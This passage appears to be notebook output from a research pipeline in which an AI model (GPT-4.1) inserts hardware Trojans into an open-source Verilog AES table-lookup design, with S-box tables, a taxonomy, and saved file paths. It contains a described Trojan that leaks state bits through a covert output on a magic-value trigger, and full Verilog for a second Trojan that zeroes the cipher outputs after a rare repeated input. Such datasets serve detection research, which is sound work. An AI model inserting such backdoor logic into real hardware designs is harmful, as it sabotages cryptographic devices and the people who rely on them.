            "    8'h31: out <= 8'h95;\n",
            "    8'h32: out <= 8'h46;\n",
            "    8'h33: out <= 8'h9d;\n",
            "    8'h34: out <= 8'h30;\n",
            "    8'h35: out <= 8'h37;\n",
            "    8'h36: out <= 8'h0a;\n",
            "    8'h37: out <= 8'h2f;\n",
            "    8'h38: out <= 8'h0e;\n",
            "    8'h39: out <= 8'h24;\n",
            "    8'h3a: out <= 8'h1b;\n",
            "    8'h3b: out <= 8'hdf;\n",
            "    8'h3c: out <= 8'hcd;\n",
            "    8'h3d: out <= 8'h4e;\n",
            "    8'h3e: out <= 8'h7f;\n",
            "    8'h3f: out <= 8'hea;\n",
            "    8'h40: out <= 8'h12;\n",
            "    8'h41: out <= 8'h1d;\n",
            "    8'h42: out <= 8'h58;\n",
            "    8'h43: out <= 8'h34;\n",
            "    8'h44: out <= 8'h36;\n",
            "    8'h45: out <= 8'hdc;\n",
            "    8'h46: out <= 8'hb4;\n",
            "    8'h47: out <= 8'h5b;\n",
            "    8'h48: out <= 8'ha4;\n",
            "    8'h49: out <= 8'h76;\n",
            "    8'h4a: out <= 8'hb7;\n",
            "    8'h4b: out <= 8'h7d;\n",
            "    8'h4c: out <= 8'h52;\n",
            "    8'h4d: out <= 8'hdd;\n",
            "    8'h4e: out <= 8'h5e;\n",
            "    8'h4f: out <= 8'h13;\n",
            "    8'h50: out <= 8'ha6;\n",
            "    8'h51: out <= 8'hb9;\n",
            "    8'h52: out <= 8'h00;\n",
            "    8'h53: out <= 8'hc1;\n",
            "    8'h54: out <= 8'h40;\n",
            "    8'h55: out <= 8'he3;\n",
            "    8'h56: out <= 8'h79;\n",
            "    8'h57: out <= 8'hb6;\n",
            "    8'h58: out <= 8'hd4;\n",
            "    8'h59: out <= 8'h8d;\n",
            "    8'h5a: out <= 8'h67;\n",
            "    8'h5b: out <= 8'h72;\n",
            "    8'h5c: out <= 8'h94;\n",
            "    8'h5d: out <= 8'h98;\n",
            "    8'h5e: out <= 8'hb0;\n",
            "    8'h5f: out <= 8'h85;\n",
            "    8'h60: out <= 8'hbb;\n",
            "    8'h61: out <= 8'hc5;\n",
            "    8'h62: out <= 8'h4f;\n",
            "    8'h63: out <= 8'hed;\n",
            "    8'h64: out <= 8'h86;\n",
            "    8'h65: out <= 8'h9a;\n",
            "    8'h66: out <= 8'h66;\n",
            "    8'h67: out <= 8'h11;\n",
            "    8'h68: out <= 8'h8a;\n",
            "    8'h69: out <= 8'he9;\n",
            "    8'h6a: out <= 8'h04;\n",
            "    8'h6b: out <= 8'hfe;\n",
            "    8'h6c: out <= 8'ha0;\n",
            "    8'h6d: out <= 8'h78;\n",
            "    8'h6e: out <= 8'h25;\n",
            "    8'h6f: out <= 8'h4b;\n",
            "    8'h70: out <= 8'ha2;\n",
            "    8'h71: out <= 8'h5d;\n",
            "    8'h72: out <= 8'h80;\n",
            "    8'h73: out <= 8'h05;\n",
            "    8'h74: out <= 8'h3f;\n",
            "    8'h75: out <= 8'h21;\n",
            "    8'h76: out <= 8'h70;\n",
            "    8'h77: out <= 8'hf1;\n",
            "    8'h78: out <= 8'h63;\n",
            "    8'h79: out <= 8'h77;\n",
            "    8'h7a: out <= 8'haf;\n",
            "    8'h7b: out <= 8'h42;\n",
            "    8'h7c: out <= 8'h20;\n",
            "    8'h7d: out <= 8'he5;\n",
            "    8'h7e: out <= 8'hfd;\n",
            "    8'h7f: out <= 8'hbf;\n",
            "    8'h80: out <= 8'h81;\n",
            "    8'h81: out <= 8'h18;\n",
            "    8'h82: out <= 8'h26;\n",
            "    8'h83: out <= 8'hc3;\n",
            "    8'h84: out <= 8'hbe;\n",
            "    8'h85: out <= 8'h35;\n",
            "    8'h86: out <= 8'h88;\n",
            "    8'h87: out <= 8'h2e;\n",
            "    8'h88: out <= 8'h93;\n",
            "    8'h89: out <= 8'h55;\n",
            "    8'h8a: out <= 8'hfc;\n",
            "    8'h8b: out <= 8'h7a;\n",
            "    8'h8c: out <= 8'hc8;\n",
            "    8'h8d: out <= 8'hba;\n",
            "    8'h8e: out <= 8'h32;\n",
            "    8'h8f: out <= 8'he6;\n",
            "    8'h90: out <= 8'hc0;\n",
            "    8'h91: out <= 8'h19;\n",
            "    8'h92: out <= 8'h9e;\n",
            "    8'h93: out <= 8'ha3;\n",
            "    8'h94: out <= 8'h44;\n",
            "    8'h95: out <= 8'h54;\n",
            "    8'h96: out <= 8'h3b;\n",
            "    8'h97: out <= 8'h0b;\n",
            "    8'h98: out <= 8'h8c;\n",
            "    8'h99: out <= 8'hc7;\n",
            "    8'h9a: out <= 8'h6b;\n",
            "    8'h9b: out <= 8'h28;\n",
            "    8'h9c: out <= 8'ha7;\n",
            "    8'h9d: out <= 8'hbc;\n",
            "    8'h9e: out <= 8'h16;\n",
            "    8'h9f: out <= 8'had;\n",
            "    8'ha0: out <= 8'hdb;\n",
            "    8'ha1: out <= 8'h64;\n",
            "    8'ha2: out <= 8'h74;\n",
            "    8'ha3: out <= 8'h14;\n",
            "    8'ha4: out <= 8'h92;\n",
            "    8'ha5: out <= 8'h0c;\n",
            "    8'ha6: out <= 8'h48;\n",
            "    8'ha7: out <= 8'hb8;\n",
            "    8'ha8: out <= 8'h9f;\n",
            "    8'ha9: out <= 8'hbd;\n",
            "    8'haa: out <= 8'h43;\n",
            "    8'hab: out <= 8'hc4;\n",
            "    8'hac: out <= 8'h39;\n",
            "    8'had: out <= 8'h31;\n",
            "    8'hae: out <= 8'hd3;\n",
            "    8'haf: out <= 8'hf2;\n",
            "    8'hb0: out <= 8'hd5;\n",
            "    8'hb1: out <= 8'h8b;\n",
            "    8'hb2: out <= 8'h6e;\n",
            "    8'hb3: out <= 8'hda;\n",
            "    8'hb4: out <= 8'h01;\n",
            "    8'hb5: out <= 8'hb1;\n",
            "    8'hb6: out <= 8'h9c;\n",
            "    8'hb7: out <= 8'h49;\n",
            "    8'hb8: out <= 8'hd8;\n",
            "    8'hb9: out <= 8'hac;\n",
            "    8'hba: out <= 8'hf3;\n",
            "    8'hbb: out <= 8'hcf;\n",
            "    8'hbc: out <= 8'hca;\n",
            "    8'hbd: out <= 8'hf4;\n",
            "    8'hbe: out <= 8'h47;\n",
            "    8'hbf: out <= 8'h10;\n",
            "    8'hc0: out <= 8'h6f;\n",
            "    8'hc1: out <= 8'hf0;\n",
            "    8'hc2: out <= 8'h4a;\n",
            "    8'hc3: out <= 8'h5c;\n",
            "    8'hc4: out <= 8'h38;\n",
            "    8'hc5: out <= 8'h57;\n",
            "    8'hc6: out <= 8'h73;\n",
            "    8'hc7: out <= 8'h97;\n",
            "    8'hc8: out <= 8'hcb;\n",
            "    8'hc9: out <= 8'ha1;\n",
            "    8'hca: out <= 8'he8;\n",
            "    8'hcb: out <= 8'h3e;\n",
            "    8'hcc: out <= 8'h96;\n",
            "    8'hcd: out <= 8'h61;\n",
            "    8'hce: out <= 8'h0d;\n",
            "    8'hcf: out <= 8'h0f;\n",
            "    8'hd0: out <= 8'he0;\n",
            "    8'hd1: out <= 8'h7c;\n",
            "    8'hd2: out <= 8'h71;\n",
            "    8'hd3: out <= 8'hcc;\n",
            "    8'hd4: out <= 8'h90;\n",
            "    8'hd5: out <= 8'h06;\n",
            "    8'hd6: out <= 8'hf7;\n",
            "    8'hd7: out <= 8'h1c;\n",
            "    8'hd8: out <= 8'hc2;\n",
            "    8'hd9: out <= 8'h6a;\n",
            "    8'hda: out <= 8'hae;\n",
            "    8'hdb: out <= 8'h69;\n",
            "    8'hdc: out <= 8'h17;\n",
            "    8'hdd: out <= 8'h99;\n",
            "    8'hde: out <= 8'h3a;\n",
            "    8'hdf: out <= 8'h27;\n",
            "    8'he0: out <= 8'hd9;\n",
            "    8'he1: out <= 8'heb;\n",
            "    8'he2: out <= 8'h2b;\n",
            "    8'he3: out <= 8'h22;\n",
            "    8'he4: out <= 8'hd2;\n",
            "    8'he5: out <= 8'ha9;\n",
            "    8'he6: out <= 8'h07;\n",
            "    8'he7: out <= 8'h33;\n",
            "    8'he8: out <= 8'h2d;\n",
            "    8'he9: out <= 8'h3c;\n",
            "    8'hea: out <= 8'h15;\n",
            "    8'heb: out <= 8'hc9;\n",
            "    8'hec: out <= 8'h87;\n",
            "    8'hed: out <= 8'haa;\n",
            "    8'hee: out <= 8'h50;\n",
            "    8'hef: out <= 8'ha5;\n",
            "    8'hf0: out <= 8'h03;\n",
            "    8'hf1: out <= 8'h59;\n",
            "    8'hf2: out <= 8'h09;\n",
            "    8'hf3: out <= 8'h1a;\n",
            "    8'hf4: out <= 8'h65;\n",
            "    8'hf5: out <= 8'hd7;\n",
            "    8'hf6: out <= 8'h84;\n",
            "    8'hf7: out <= 8'hd0;\n",
            "    8'hf8: out <= 8'h82;\n",
            "    8'hf9: out <= 8'h29;\n",
            "    8'hfa: out <= 8'h5a;\n",
            "    8'hfb: out <= 8'h1e;\n",
            "    8'hfc: out <= 8'h7b;\n",
            "    8'hfd: out <= 8'ha8;\n",
            "    8'hfe: out <= 8'h6d;\n",
            "    8'hff: out <= 8'h2c;\n",
            "    endcase\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A Trojan was inserted in the `table_lookup` module using a triggerable control FSM and covert output. When a magic value is presented and a trigger is asserted, the module leaks the most significant byte of `state` one bit per clock via `trojan_covert_out` without altering original function.\n",
            "\n",
            "Trigger:\n",
            "The Trojan activates only when the `state` input matches `32'hDEADBEEF` concurrently with an asserted `trojan_trigger_in` signal, ensuring a rare and externally-controllable covert trigger.\n",
            "\n",
            "Payload:\n",
            "Upon activation, the Trojan sequentially leaks the MSB of `state`, outputting one bit per cycle on the dedicated `trojan_covert_out` signal for eight cycles, thus covertly transmitting sensitive internal data.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered externally/internally (magic value + signal)  \n",
            "Effects: leak information  \n",
            "Location: Processor (core datapath)  \n",
            "Characteristics: Localized, small in size, functional Trojan  \n",
            "\n",
            "Saving vulnerable design to: aes/gpt-4.1/table/table_HT2_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/table/table_HT2_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "// Trojan insertion: Added reset, trigger, and disable control logic\n",
            "module table_lookup (clk, rst_n, state, p0, p1, p2, p3);\n",
            "    input clk;\n",
            "    input rst_n; // active-low reset added for synthesizeability and Trojan state\n",
            "    input [31:0] state;\n",
            "    output reg [31:0] p0, p1, p2, p3;\n",
            "\n",
            "    wire [7:0] b0, b1, b2, b3;\n",
            "\n",
            "    assign {b0, b1, b2, b3} = state;\n",
            "\n",
            "    // Trojan Insertion Start: Signals and States\n",
            "    reg [3:0] trigger_counter;\n",
            "    reg trojan_armed, trojan_active;\n",
            "    reg prev_seq_match;\n",
            "    wire seq_match;\n",
            "\n",
            "    // Define a rare trigger sequence, here: state == 32'hDEADBEEF for 4 consecutive cycles\n",
            "    assign seq_match = (state == 32'hDEADBEEF);\n",
            "\n",
            "    // Trojan trigger and activation logic\n",
            "    always @(posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n) begin\n",
            "            trigger_counter <= 0;\n",
            "            trojan_armed   <= 0;\n",
            "            trojan_active  <= 0;\n",
            "            prev_seq_match <= 0;\n",
            "        end else begin\n",
            "            prev_seq_match <= seq_match;\n",
            "            // Increment counter if sequence is detected in consecutive cycles\n",
            "            if (seq_match && prev_seq_match)\n",
            "                trigger_counter <= trigger_counter + 1;\n",
            "            else if (!seq_match)\n",
            "                trigger_counter <= 0;\n",
            "\n",
            "            // Arm Trojan if trigger condition met (e.g., 4 consecutive cycles of trigger sequence)\n",
            "            if (trigger_counter == 3 && seq_match && prev_seq_match)\n",
            "                trojan_armed <= 1;\n",
            "\n",
            "            // Activate Trojan payload for 8 cycles, then auto-clear\n",
            "            if (trojan_armed) begin\n",
            "                trojan_active <= 1;\n",
            "                trojan_armed <= 0;\n",
            "            end else if (trojan_active) begin\n",
            "                if (trigger_counter == 7) begin\n",
            "                    trojan_active <= 0;\n",
            "                end\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "\n",
            "    // Trojan Insertion End\n",
            "\n",
            "    // Processing logic with Trojan payload (denial-of-service via output zeroing for 8 cycles)\n",
            "    wire [31:0] t0_out, t1_out, t2_out, t3_out;\n",
            "\n",
            "    T\n",
            "        t0 (clk, b0, {t0_out[23:0], t0_out[31:24]}),\n",
            "        t1 (clk, b1, {t1_out[15:0], t1_out[31:16]}),\n",
            "        t2 (clk, b2, {t2_out[7:0],  t2_out[31:8]} ),\n",
            "        t3 (clk, b3, t3_out);\n",
            "\n",
            "    always @(posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n) begin\n",
            "            p0 <= 32'b0;\n",
            "            p1 <= 32'b0;\n",
            "            p2 <= 32'b0;\n",
            "            p3 <= 32'b0;\n",
            "        end else if (trojan_active) begin // Trojan disables normal operation\n",
            "            p0 <= 32'b0;\n",
            "            p1 <= 32'b0;\n",
            "            p2 <= 32'b0;\n",
            "            p3 <= 32'b0;\n",
            "        end else begin\n",
            "            p0 <= t0_out;\n",
            "            p1 <= t1_out;\n",
            "            p2 <= t2_out;\n",
            "            p3 <= t3_out;\n",
            "        end\n",
            "    end\n",
            "endmodule\n",
            "\n",
            "/* substitue four bytes in a word */\n",
            "module S4 (clk, in, out);\n",
            "    input clk;\n",
            "    input [31:0] in;\n",
            "    output [31:0] out;\n",
            "\n",
            "    S\n",
            "        S_0 (clk, in[31:24], out[31:24]),\n",
            "        S_1 (clk, in[23:16], out[23:16]),\n",
            "        S_2 (clk, in[15:8],  out[15:8] ),\n",
            "        S_3 (clk, in[7:0],   out[7:0]  );\n",
            "endmodule\n",
            "\n",
            "/* S_box, S_box, S_box*(x+1), S_box*x */\n",
            "module T (clk, in, out);\n",
            "    input         clk;\n",
            "    input  [7:0]  in;\n",
            "    output [31:0] out;\n",
            "\n",
            "    S\n",
            "        s0 (clk, in, out[31:24]);\n",
            "    assign out[23:16] = out[31:24];\n",
            "    xS\n",
            "        s4 (clk, in, out[7:0]);\n",
            "    assign out[15:8] = out[23:16] ^ out[7:0];\n",
            "endmodule\n",
            "\n",
            "/* S box */\n",
            "module S (clk, in, out);\n",
            "    input clk;\n",
            "    input [7:0] in;\n",
            "    output reg [7:0] out;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "    case (in)\n",
            "    8'h00: out <= 8'h63;\n",
            "    8'h01: out <= 8'h7c;\n",
            "    8'h02: out <= 8'h77;\n",
            "    8'h03: out <= 8'h7b;\n",
            "    8'h04: out <= 8'hf2;\n",
            "    8'h05: out <= 8'h6b;\n",
            "    8'h06: out <= 8'h6f;\n",
            "    8'h07: out <= 8'hc5;\n",
            "    8'h08: out <= 8'h30;\n",
            "    8'h09: out <= 8'h01;\n",
            "    8'h0a: out <= 8'h67;\n",
            "    8'h0b: out <= 8'h2b;\n",
            "    8'h0c: out <= 8'hfe;\n",
            "    8'h0d: out <= 8'hd7;\n",
            "    8'h0e: out <= 8'hab;\n",
            "    8'h0f: out <= 8'h76;\n",
            "    8'h10: out <= 8'hca;\n",
            "    8'h11: out <= 8'h82;\n",
            "    8'h12: out <= 8'hc9;\n",
            "    8'h13: out <= 8'h7d;\n",
            "    8'h14: out <= 8'hfa;\n",
            "    8'h15: out <= 8'h59;\n",
            "    8'h16: out <= 8'h47;\n",
            "    8'h17: out <= 8'hf0;\n",
            "    8'h18: out <= 8'had;\n",
            "    8'h19: out <= 8'hd4;\n",
            "    8'h1a: out <= 8'ha2;\n",
            "    8'h1b: out <= 8'haf;\n",
            "    8'h1c: out <= 8'h9c;\n",
            "    8'h1d: out <= 8'ha4;\n",
            "    8'h1e: out <= 8'h72;\n",
            "    8'h1f: out <= 8'hc0;\n",
            "    8'h20: out <= 8'hb7;\n",
            "    8'h21: out <= 8'hfd;\n",
            "    8'h22: out <= 8'h93;\n",
            "    8'h23: out <= 8'h26;\n",
            "    8'h24: out <= 8'h36;\n",
            "    8'h25: out <= 8'h3f;\n",
            "    8'h26: out <= 8'hf7;\n",
            "    8'h27: out <= 8'hcc;\n",
            "    8'h28: out <= 8'h34;\n",
            "    8'h29: out <= 8'ha5;\n",
            "    8'h2a: out <= 8'he5;\n",
            "    8'h2b: out <= 8'hf1;\n",
            "    8'h2c: out <= 8'h71;\n",
            "    8'h2d: out <= 8'hd8;\n",
            "    8'h2e: out <= 8'h31;\n",
            "    8'h2f: out <= 8'h15;\n",
            "    8'h30: out <= 8'h04;\n",
            "    8'h31: out <= 8'hc7;\n",
            "    8'h32: out <= 8'h23;\n",
            "    8'h33: out <= 8'hc3;\n",
            "    8'h34: out <= 8'h18;\n",
            "    8'h35: out <= 8'h96;\n",
            "    8'h36: out <= 8'h05;\n",
            "    8'h37: out <= 8'h9a;\n",
            "    8'h38: out <= 8'h07;\n",
            "    8'h39: out <= 8'h12;\n",
            "    8'h3a: out <= 8'h80;\n",
            "    8'h3b: out <= 8'he2;\n",
            "    8'h3c: out <= 8'heb;\n",
            "    8'h3d: out <= 8'h27;\n",
            "    8'h3e: out <= 8'hb2;\n",
            "    8'h3f: out <= 8'h75;\n",
            "    8'h40: out <= 8'h09;\n",
            "    8'h41: out <= 8'h83;\n",
            "    8'h42: out <= 8'h2c;\n",
            "    8'h43: out <= 8'h1a;\n",
            "    8'h44: out <= 8'h1b;\n",
            "    8'h45: out <= 8'h6e;\n",
            "    8'h46: out <= 8'h5a;\n",
            "    8'h47: out <= 8'ha0;\n",
            "    8'h48: out <= 8'h52;\n",
            "    8'h49: out <= 8'h3b;\n",
            "    8'h4a: out <= 8'hd6;\n",
            "    8'h4b: out <= 8'hb3;\n",
            "    8'h4c: out <= 8'h29;\n",
            "    8'h4d: out <= 8'he3;\n",
            "    8'h4e: out <= 8'h2f;\n",
            "    8'h4f: out <= 8'h84;\n",
            "    8'h50: out <= 8'h53;\n",
            "    8'h51: out <= 8'hd1;\n",
            "    8'h52: out <= 8'h00;\n",
            "    8'h53: out <= 8'hed;\n",
            "    8'h54: out <= 8'h20;\n",
            "    8'h55: out <= 8'hfc;\n",
            "    8'h56: out <= 8'hb1;\n",
            "    8'h57: out <= 8'h5b;\n",
            "    8'h58: out <= 8'h6a;\n",
            "    8'h59: out <= 8'hcb;\n",
            "    8'h5a: out <= 8'hbe;\n",
            "    8'h5b: out <= 8'h39;\n",
            "    8'h5c: out <= 8'h4a;\n",
            "    8'h5d: out <= 8'h4c;\n",
            "    8'h5e: out <= 8'h58;\n",
            "    8'h5f: out <= 8'hcf;\n",
            "    8'h60: out <= 8'hd0;\n",
            "    8'h61: out <= 8'hef;\n",
            "    8'h62: out <= 8'haa;\n",
            "    8'h63: out <= 8'hfb;\n",
            "    8'h64: out <= 8'h43;\n",
            "    8'h65: out <= 8'h4d;\n",
            "    8'h66: out <= 8'h33;\n",
            "    8'h67: out <= 8'h85;\n",
            "    8'h68: out <= 8'h45;\n",
            "    8'h69: out <= 8'hf9;\n",
            "    8'h6a: out <= 8'h02;\n",
            "    8'h6b: out <= 8'h7f;\n",
            "    8'h6c: out <= 8'h50;\n",
            "    8'h6d: out <= 8'h3c;\n",
            "    8'h6e: out <= 8'h9f;\n",
            "    8'h6f: out <= 8'ha8;\n",
            "    8'h70: out <= 8'h51;\n",
            "    8'h71: out <= 8'ha3;\n",
            "    8'h72: out <= 8'h40;\n",
            "    8'h73: out <= 8'h8f;\n",
            "    8'h74: out <= 8'h92;\n",
            "    8'h75: out <= 8'h9d;\n",
            "    8'h76: out <= 8'h38;\n",
            "    8'h77: out <= 8'hf5;\n",
            "    8'h78: out <= 8'hbc;\n",
            "    8'h79: out <= 8'hb6;\n",
            "    8'h7a: out <= 8'hda;\n",
            "    8'h7b: out <= 8'h21;\n",
            "    8'h7c: out <= 8'h10;\n",
            "    8'h7d: out <= 8'hff;\n",
            "    8'h7e: out <= 8'hf3;\n",
            "    8'h7f: out <= 8'hd2;\n",
            "    8'h80: out <= 8'hcd;\n",
            "    8'h81: out <= 8'h0c;\n",
            "    8'h82: out <= 8'h13;\n",
            "    8'h83: out <= 8'hec;\n",
            "    8'h84: out <= 8'h5f;\n",
            "    8'h85: out <= 8'h97;\n",
            "    8'h86: out <= 8'h44;\n",
            "    8'h87: out <= 8'h17;\n",
            "    8'h88: out <= 8'hc4;\n",
            "    8'h89: out <= 8'ha7;\n",
            "    8'h8a: out <= 8'h7e;\n",
            "    8'h8b: out <= 8'h3d;\n",
            "    8'h8c: out <= 8'h64;\n",
            "    8'h8d: out <= 8'h5d;\n",
            "    8'h8e: out <= 8'h19;\n",
            "    8'h8f: out <= 8'h73;\n",
            "    8'h90: out <= 8'h60;\n",
            "    8'h91: out <= 8'h81;\n",
            "    8'h92: out <= 8'h4f;\n",
            "    8'h93: out <= 8'hdc;\n",
            "    8'h94: out <= 8'h22;\n",
            "    8'h95: out <= 8'h2a;\n",
            "    8'h96: out <= 8'h90;\n",
            "    8'h97: out <= 8'h88;\n",
            "    8'h98: out <= 8'h46;\n",
            "    8'h99: out <= 8'hee;\n",
            "    8'h9a: out <= 8'hb8;\n",
            "    8'h9b: out <= 8'h14;\n",
            "    8'h9c: out <= 8'hde;\n",
            "    8'h9d: out <= 8'h5e;\n",
            "    8'h9e: out <= 8'h0b;\n",
            "    8'h9f: out <= 8'hdb;\n",
            "    8'ha0: out <= 8'he0;\n",
            "    8'ha1: out <= 8'h32;\n",
            "    8'ha2: out <= 8'h3a;\n",
            "    8'ha3: out <= 8'h0a;\n",
            "    8'ha4: out <= 8'h49;\n",
            "    8'ha5: out <= 8'h06;\n",
            "    8'ha6: out <= 8'h24;\n",
            "    8'ha7: out <= 8'h5c;\n",
            "    8'ha8: out <= 8'hc2;\n",
            "    8'ha9: out <= 8'hd3;\n",
            "    8'haa: out <= 8'hac;\n",
            "    8'hab: out <= 8'h62;\n",
            "    8'hac: out <= 8'h91;\n",
            "    8'had: out <= 8'h95;\n",
            "    8'hae: out <= 8'he4;\n",
            "    8'haf: out <= 8'h79;\n",
            "    8'hb0: out <= 8'he7;\n",
            "    8'hb1: out <= 8'hc8;\n",
            "    8'hb2: out <= 8'h37;\n",
            "    8'hb3: out <= 8'h6d;\n",
            "    8'hb4: out <= 8'h8d;\n",
            "    8'hb5: out <= 8'hd5;\n",
            "    8'hb6: out <= 8'h4e;\n",
            "    8'hb7: out <= 8'ha9;\n",
            "    8'hb8: out <= 8'h6c;\n",
            "    8'hb9: out <= 8'h56;\n",
            "    8'hba: out <= 8'hf4;\n",
            "    8'hbb: out <= 8'hea;\n",
            "    8'hbc: out <= 8'h65;\n",
            "    8'hbd: out <= 8'h7a;\n",
            "    8'hbe: out <= 8'hae;\n",
            "    8'hbf: out <= 8'h08;\n",
            "    8'hc0: out <= 8'hba;\n",
            "    8'hc1: out <= 8'h78;\n",
            "    8'hc2: out <= 8'h25;\n",
            "    8'hc3: out <= 8'h2e;\n",
            "    8'hc4: out <= 8'h1c;\n",
            "    8'hc5: out <= 8'ha6;\n",
            "    8'hc6: out <= 8'hb4;\n",
            "    8'hc7: out <= 8'hc6;\n",
            "    8'hc8: out <= 8'he8;\n",
            "    8'hc9: out <= 8'hdd;\n",
            "    8'hca: out <= 8'h74;\n",
            "    8'hcb: out <= 8'h1f;\n",
            "    8'hcc: out <= 8'h4b;\n",
            "    8'hcd: out <= 8'hbd;\n",
            "    8'hce: out <= 8'h8b;\n",
            "    8'hcf: out <= 8'h8a;\n",
            "    8'hd0: out <= 8'h70;\n",
            "    8'hd1: out <= 8'h3e;\n",
            "    8'hd2: out <= 8'hb5;\n",
            "    8'hd3: out <= 8'h66;\n",
            "    8'hd4: out <= 8'h48;\n",
            "    8'hd5: out <= 8'h03;\n",
            "    8'hd6: out <= 8'hf6;\n",
            "    8'hd7: out <= 8'h0e;\n",
            "    8'hd8: out <= 8'h61;\n",
            "    8'hd9: out <= 8'h35;\n",
            "    8'hda: out <= 8'h57;\n",
            "    8'hdb: out <= 8'hb9;\n",
            "    8'hdc: out <= 8'h86;\n",
            "    8'hdd: out <= 8'hc1;\n",
            "    8'hde: out <= 8'h1d;\n",
            "    8'hdf: out <= 8'h9e;\n",
            "    8'he0: out <= 8'he1;\n",
            "    8'he1: out <= 8'hf8;\n",
            "    8'he2: out <= 8'h98;\n",
            "    8'he3: out <= 8'h11;\n",
            "    8'he4: out <= 8'h69;\n",
            "    8'he5: out <= 8'hd9;\n",
            "    8'he6: out <= 8'h8e;\n",
            "    8'he7: out <= 8'h94;\n",
            "    8'he8: out <= 8'h9b;\n",
            "    8'he9: out <= 8'h1e;\n",
            "    8'hea: out <= 8'h87;\n",
            "    8'heb: out <= 8'he9;\n",
            "    8'hec: out <= 8'hce;\n",
            "    8'hed: out <= 8'h55;\n",
            "    8'hee: out <= 8'h28;\n",
            "    8'hef: out <= 8'hdf;\n",
            "    8'hf0: out <= 8'h8c;\n",
            "    8'hf1: out <= 8'ha1;\n",
            "    8'hf2: out <= 8'h89;\n",
            "    8'hf3: out <= 8'h0d;\n",
            "    8'hf4: out <= 8'hbf;\n",
            "    8'hf5: out <= 8'he6;\n",
            "    8'hf6: out <= 8'h42;\n",
            "    8'hf7: out <= 8'h68;\n",
            "    8'hf8: out <= 8'h41;\n",
            "    8'hf9: out <= 8'h99;\n",
            "    8'hfa: out <= 8'h2d;\n",
            "    8'hfb: out <= 8'h0f;\n",
            "    8'hfc: out <= 8'hb0;\n",
            "    8'hfd: out <= 8'h54;\n",
            "    8'hfe: out <= 8'hbb;\n",
            "    8'hff: out <= 8'h16;\n",
            "    endcase\n",
            "endmodule\n",
            "\n",
            "/* S box * x */\n",
            "module xS (clk, in, out);\n",
            "    input clk;\n",
            "    input [7:0] in;\n",
            "    output reg [7:0] out;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "    case (in)\n",
            "    8'h00: out <= 8'hc6;\n",
            "    8'h01: out <= 8'hf8;\n",
            "    8'h02: out <= 8'hee;\n",
            "    8'h03: out <= 8'hf6;\n",
            "    8'h04: out <= 8'hff;\n",
            "    8'h05: out <= 8'hd6;\n",
            "    8'h06: out <= 8'hde;\n",
            "    8'h07: out <= 8'h91;\n",
            "    8'h08: out <= 8'h60;\n",
            "    8'h09: out <= 8'h02;\n",
            "    8'h0a: out <= 8'hce;\n",
            "    8'h0b: out <= 8'h56;\n",
            "    8'h0c: out <= 8'he7;\n",
            "    8'h0d: out <= 8'hb5;\n",
            "    8'h0e: out <= 8'h4d;\n",
            "    8'h0f: out <= 8'hec;\n",
            "    8'h10: out <= 8'h8f;\n",
            "    8'h11: out <= 8'h1f;\n",
            "    8'h12: out <= 8'h89;\n",
            "    8'h13: out <= 8'hfa;\n",
            "    8'h14: out <= 8'hef;\n",
            "    8'h15: out <= 8'hb2;\n",
            "    8'h16: out <= 8'h8e;\n",
            "    8'h17: out <= 8'hfb;\n",
            "    8'h18: out <= 8'h41;\n",
            "    8'h19: out <= 8'hb3;\n",
            "    8'h1a: out <= 8'h5f;\n",
            "    8'h1b: out <= 8'h45;\n",
            "    8'h1c: out <= 8'h23;\n",
            "    8'h1d: out <= 8'h53;\n",
            "    8'h1e: out <= 8'he4;\n",
            "    8'h1f: out <= 8'h9b;\n",
            "    8'h20: out <= 8'h75;\n",
            "    8'h21: out <= 8'he1;\n",
            "    8'h22: out <= 8'h3d;\n",
            "    8'h23: out <= 8'h4c;\n",
            "    8'h24: out <= 8'h6c;\n",
            "    8'h25: out <= 8'h7e;\n",
            "    8'h26: out <= 8'hf5;\n",
            "    8'h27: out <= 8'h83;\n",
            "    8'h28: out <= 8'h68;\n",
            "    8'h29: out <= 8'h51;\n",
            "    8'h2a: out <= 8'hd1;\n",
            "    8'h2b: out <= 8'hf9;\n",
            "    8'h2c: out <= 8'he2;\n",
            "    8'h2d: out <= 8'hab;\n",
            "    8'h2e: out <= 8'h62;\n",
            "    8'h2f: out <= 8'h2a;\n",
            "    8'h30: out <= 8'h08;\n",
            "    8'h31: out <= 8'h95;\n",
            "    8'h32: out <= 8'h46;\n",
            "    8'h33: out <= 8'h9d;\n",
            "    8'h34: out <= 8'h30;\n",
            "    8'h35: out <= 8'h37;\n",
            "    8'h36: out <= 8'h0a;\n",
            "    8'h37: out <= 8'h2f;\n",
            "    8'h38: out <= 8'h0e;\n",
            "    8'h39: out <= 8'h24;\n",
            "    8'h3a: out <= 8'h1b;\n",
            "    8'h3b: out <= 8'hdf;\n",
            "    8'h3c: out <= 8'hcd;\n",
            "    8'h3d: out <= 8'h4e;\n",
            "    8'h3e: out <= 8'h7f;\n",
            "    8'h3f: out <= 8'hea;\n",
            "    8'h40: out <= 8'h12;\n",
            "    8'h41: out <= 8'h1d;\n",
            "    8'h42: out <= 8'h58;\n",
            "    8'h43: out <= 8'h34;\n",
            "    8'h44: out <= 8'h36;\n",
            "    8'h45: out <= 8'hdc;\n",
            "    8'h46: out <= 8'hb4;\n",
            "    8'h47: out <= 8'h5b;\n",
            "    8'h48: out <= 8'ha4;\n",
            "    8'h49: out <= 8'h76;\n",
